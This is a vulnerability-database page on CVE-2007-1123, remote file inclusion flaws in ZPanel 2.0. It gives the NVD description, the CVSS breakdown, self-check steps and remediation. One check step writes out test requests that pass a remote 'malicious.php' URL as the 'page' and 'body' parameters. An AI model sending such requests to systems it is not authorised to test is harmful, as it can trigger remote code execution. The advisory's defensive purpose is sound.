CVE-2007-1123
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedMultiple PHP remote file inclusion vulnerabilities in ZPanel 2.0 allow remote attackers to execute arbitrary PHP code via a URL in (1) the body parameter to templates/ZPanelV2/template.php or (2) the page parameter to zpanel.php. NOTE: the zpanel.php vector may overlap CVE-2005-0793.2. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceZPanel 2.0 contains multiple Remote File Inclusion (RFI) vulnerabilities where the body parameter in templates/ZPanelV2/template.php and the page parameter in zpanel.php accept unvalidated user input used in PHP include/require statements, allowing remote attackers to include malicious remote PHP files and execute arbitrary code.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 2.0CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Verify ZPanel installation and versionLook for ZPanel installation directories (typically under /var/www/html/zpanel, /home/zpanel, or similar web root locations). Check for version file or examine the main index.php for version information.Affected if ZPanel version 2.0 is installed and running.
-
Confirm vulnerable files existLocate and inspect the files templates/ZPanelV2/template.php and zpanel.php within the ZPanel web directory. Verify they contain include or require statements using the 'body' and 'page' parameters respectively.Affected if Both files exist and contain include/require statements that use $_GET['body'] or $_GET['page'] without validation.
-
Check PHP configuration for URL inclusionInspect php.ini or run 'php -i | grep allow_url_include' to determine if PHP has allow_url_include enabled.Affected if allow_url_include is set to On (1), which permits including remote files via URL.
-
Test parameter accessibilityAttempt to access zpanel.php?page=http://example.com/malicious.php or templates/ZPanelV2/template.php?body=http://example.com/malicious.php and observe if the application attempts to fetch the external URL.Affected if The application attempts to include or parse the supplied external URL, confirming the RFI vulnerability is exploitable.
A system is affected if ZPanel 2.0 is installed with the vulnerable template.php and zpanel.php files present, and the 'body' or 'page' parameters can be manipulated to include remote URLs.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataDisable the vulnerable ZPanel installation immediately. If continued use is required, modify all include/require statements to use whitelist-based validation or hardcoded file paths instead of user-supplied parameters, and implement rigorous input sanitization.
- Consultation3.0 h
- Implementation6.0 h
- Testing3.0 h
- Review / QA2.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $3,984.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2007-1123 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2007-1123 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data